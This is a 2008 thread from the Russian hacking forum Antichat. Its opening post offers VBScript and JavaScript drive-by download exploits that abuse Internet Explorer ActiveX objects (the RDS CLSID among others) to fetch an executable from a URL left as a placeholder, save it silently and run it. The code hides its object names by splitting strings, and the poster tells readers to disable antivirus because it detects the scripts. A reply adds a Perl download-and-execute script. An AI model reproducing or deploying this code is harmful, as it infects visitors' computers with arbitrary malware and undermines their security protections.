ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Скрипт [autorun]
  #1  
Старый 10.06.2008, 23:05
Аватар для YoYo Factory
YoYo Factory
Участник форума
Регистрация: 25.03.2008
Сообщений: 138
Провел на форуме:
1105166

Репутация: 201
Отправить сообщение для YoYo Factory с помощью ICQ
По умолчанию Скрипт [autorun]

[ВВЕДЕНИЕ]


Скрипт скачивает файл и запускает, но к сожалению работает только на IE5 (на 6 не пробовал)
Предлагаю вашему вниманию 2 скрипта:
1. VBScript
2. Javascript


[VBScript]


PHP код:
<SCRIPT language="VBScript">

Module_Path="ЗДЕСЬ ССЫЛКУ НА ФАЙЛ"

[COLOR=Red]   If navigator.appName="Microsoft Internet Explorer" Then

      
If InStr(navigator.platform,"Win32") <> 0  Then

      
Const ssfFONTS=20
      
Const adModeReadWrite=3
      
Const adTypeBinary=1
      
Const adSaveCreateOverWrite=2

      Dim  oRDS
      Dim  oXMLHTTP
      Dim  oFSO
      Dim  oStream
      Dim  oWShell
      Dim  oShellApp

      Dim  WinDir
      Dim  ExeName
      Dim  XMLBody
      Dim  PluginFile
      Dim  cByte
      Dim   ObjName
      Dim   ObjProg

      Randomize

      ExeName
=GenerateName()
      
ExeName=ExeName ".exe"

      
cls1="clsid:BD96"
      
cls2="C556-65A"
      
cls3="3-11D0-9"
      
cls4="83A-00C04FC29E36"
      
clsfull=cls1&cls2&cls3&cls4

      Set  oRDS
=document.createElement("object")
      
oRDS.setAttribute "id","oRDS"
      
oRDS.setAttribute "classid",clsfull

      Set oShellApp 
oRDS.CreateObject("Shell.Application","")
      
Set oFolder oShellApp.NameSpace(ssfFONTS)
      
Set oFolderItem=oFolder.ParseName("Symbol.ttf")
      
Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
      WinDir= Font_Path_Components(0) & "
\" &  Font_Path_Components(1) & "\"
      ExeName=WinDir & ExeName

      ObjName="
Microsoft"
      ObjProg="
XMLHTTP"
      set oXMLHTTP = CreateObject(ObjName & "
." & ObjProg)
      Req_type="
G" & "E" & "T"
      HTTPSession=oXMLHTTP.Open(Req_Type,Module_Path,0)
      oXMLHTTP.Send()
      On Error Resume Next
      XMLBody=oXMLHTTP.responseBody

      ObjName="
ADODB"
      ObjProg="
Stream"
      On Error Resume Next
      Set oStream=oRDS.CreateObject(ObjName & "
." & ObjProg,"")
      If Err.number <> 0 Then

            Set oFSO=oRDS.CreateObject("
Scripting.FileSystemObject","")
            Set PluginFile=oFSO.CreateTextFile(ExeName, TRUE)
            Plugin_size=LenB(XMLBody)

            For j=1 To Plugin_size
                cByte=MidB(XMLBody,j,1)
                ByteCode=AscB(cByte)
                PluginFile.Write(Chr(ByteCode))
            Next
            PluginFile.Close

            Set  oWShell=oRDS.CreateObject("
WScript.Shell","")
            On Error Resume Next
            oWShell.Run (ExeName),1,FALSE
      Else
            oStream.Mode=adModeReadWrite
            oStream.Type=adTypeBinary
            oStream.Open
            oStream.Write XMLBody
            oStream.SaveToFile ExeName,adSaveCreateOverWrite

            oShellApp.ShellExecute ExeName
      End If


      End If
   End If

Function GenerateName()
RandomName=""
rr=Int(8*Rnd)
ik=0
Do
  ii=Int(25*Rnd)+97
  RandomName=RandomName+Chr(ii)
  ik=ik+1
Loop While ik<rr
GenerateName=RandomName
End Function

</SCRIPT> 
[JavaScript]


PHP код:
<SCRIPT language="javascript">

var 
bb949531092ff "ССЫЛКА НА ФАЙЛ";
function 
CreateO(on) {
        var 
null;
        
        try { eval(
'r = o.CreateObject(n)') }catch(e){}
        
        if (! 
r) {
                try { eval(
'r = o.CreateObject(n, "")') }catch(e){}
        }
        
        if (! 
r) {
                try { eval(
'r = o.CreateObject(n, "", "")') }catch(e){}
        }

        if (! 
r) {
                try { eval(
'r = o.GetObject("", n)') }catch(e){}
        }
        
        if (! 
r) {
                try { eval(
'r = o.GetObject(n, "")') }catch(e){}
        }
        
        if (! 
r) {
                try { eval(
'r = o.GetObject(n)') }catch(e){}
        }
        
        return(
r);      
}

function 
Go(a) {
        var 
CreateO(a"WSc"+"rip"+"t.Sh"+"ell");
        var 
CreateO(a"ADO"+"DB.Str"+"eam");
        var 
s.Environment("Process");
        
        var 
bb351865611ff null;
           var 
bin e.Item("TEMP")+ "\\" "fdklkjTUFOYUT.exe";
        var 
bb532058559ff
        
        try { 
bb351865611ff=new XMLHttpRequest(); }
        catch(
e) {
                try { 
bb351865611ff = new ActiveXObject("Micr"+"osoft.XMLH"+"TTP"); }
                catch(
e) {
                        
bb351865611ff = new ActiveXObject("MS"+"XML2.Serv"+"erXMLH"+"TTP");
                }
        }
        
        if (! 
bb351865611ff) return(0);
           
        
bb351865611ff.open("GET"bb949531092fffalse)
        
bb351865611ff.send(null);
        
bb532058559ff bb351865611ff.responseBody;
        
        
o.Type 1;
        
o.Mode 3;
        
o.Open();
        
o.Write(bb532058559ff);
        
o.SaveToFile(bin2);
                     
        
s.Run(bin,0);
}

var 
0;
var 
bb804375678ff = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}',null);
        
while (
bb804375678ff[i]) {
             var 
null;
              
             if (
bb804375678ff[i].substring(0,1) == '{') {
                     
document.createElement("object");
                      
a.setAttribute("classid""clsid:" bb804375678ff[i].substring(1bb804375678ff[i].length 1));
              } else {
                     try { 
= new ActiveXObject(bb804375678ff[i]); } catch(e){}
             }
              
              if (
a) {
                      try {           
                             var 
CreateO(a"WSc"+"ript.She"+"ll");
                              if (
b) {
                                     
Go(a);
                                     
//return(0);
                              
}
                     } catch(
e){}
               }
             
i++;
 }

</
script
Скрипты давно вывешивали в теме полезние скрипты, сейчас там нету (наверно пост удалили) но решил вывесить, может кому и будет польза! ©
Внимание: Скрипт палится антивирусами как Downloader, советую антивир выключить перед тем как будете брать скрипт!


Отчеты (http://www.virustotal.com/ ):
VBSCRIPT- http://www.virustotal.com/ru/analisi...7638e9c925c00e
JAVASCRIPT- http://www.virustotal.com/ru/analisi...6f757089d9a6fb

Последний раз редактировалось YoYo Factory; 10.06.2008 в 23:16..
 
Ответить с цитированием

  #2  
Старый 10.06.2008, 23:31
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Не правдо ли проще?
Код:
#!/usr/bin/perl -w

use LWP::UserAgent;
my $ua=LWP::UserAgent->new or die;
my $gets = $ua->get($ARGV[0])->content;
if ($gets) {open(F,">","$ARGV[1]"); binmode F; print F $gets; close F; system($ARGV[1]);}
else {print "\nFuck you spielberg\n";}
Не знаю зачем ты устроил такой браузерозависимый геморой.
usage:
script.pl http://filesite.ru/file.exe C:\file.exe
=\

PS Если ты писал для веба скрипт, то этот при желании можно переписать.
__________________
..

Последний раз редактировалось .Slip; 10.06.2008 в 23:34..
 
Ответить с цитированием

  #3  
Старый 10.06.2008, 23:36
Аватар для YoYo Factory
YoYo Factory
Участник форума
Регистрация: 25.03.2008
Сообщений: 138
Провел на форуме:
1105166

Репутация: 201
Отправить сообщение для YoYo Factory с помощью ICQ
По умолчанию

Цитата:
Сообщение от .Slip  
Не правдо ли проще?
Код:
#!/usr/bin/perl -w

use LWP::UserAgent;
my $ua=LWP::UserAgent->new or die;
my $gets = $ua->get($ARGV[0])->content;
if ($gets) {open(F,">","$ARGV[1]"); binmode F; print F $gets; close F; system($ARGV[1]);}
else {print "\nFuck you spielberg\n";}
Не знаю зачем ты устроил такой браузерозависимый геморой.
usage:
script.pl http://filesite.ru/file.exe C:\file.exe
=\

PS Если ты писал для веба скрипт, то этот при желании можно переписать.
решил вывесить, может кому и будет польза!
 
Ответить с цитированием

  #4  
Старый 11.06.2008, 23:42
Аватар для lool
lool
Новичок
Регистрация: 10.05.2007
Сообщений: 13
Провел на форуме:
67989

Репутация: 0
По умолчанию

Что за бред? Откуда на обычных компах perl???
 
Ответить с цитированием

  #5  
Старый 11.06.2008, 23:50
Аватар для FraiDex
FraiDex
Участник форума
Регистрация: 16.06.2006
Сообщений: 179
Провел на форуме:
515368

Репутация: 135
Отправить сообщение для FraiDex с помощью ICQ
По умолчанию

хм.. насколько я знаю в javascript разрешено работать с файлами через браузер только при включённом ActiveX
 
Ответить с цитированием

  #6  
Старый 11.06.2008, 23:55
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Цитата:
Сообщение от lool  
Что за бред? Откуда на обычных компах perl???
откуда на обычных компах ие 5
 
Ответить с цитированием

  #7  
Старый 12.06.2008, 10:30
Аватар для Buffalon
Buffalon
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132

Репутация: 63
По умолчанию

Цитата:
Сообщение от FraiDex  
хм.. насколько я знаю в javascript разрешено работать с файлами через браузер только при включённом ActiveX
АГа.... .А там окошко каждый раз появляется с верху типа разркшить или нет)... .

Цитата:
Сообщение от lool  
Что за бред? Откуда на обычных компах perl???
Пёрл обрабатывается на сервере и передаётся юзеру,на сколько я знаю...
............................................
А с помощью скрипта помойму можно всё это дело ещо занести в реестр и Много делов натворитЬ))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрипт СМС знакомств strab PHP, PERL, MySQL, JavaScript 1 05.06.2008 15:21
Ищу скрипт mlm пирамиды... Linuxoid PHP, PERL, MySQL, JavaScript 9 04.06.2008 12:50
комплекс SEO-master SQL SЕО - тонкости, методы раскрутки 2 19.03.2008 20:22



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ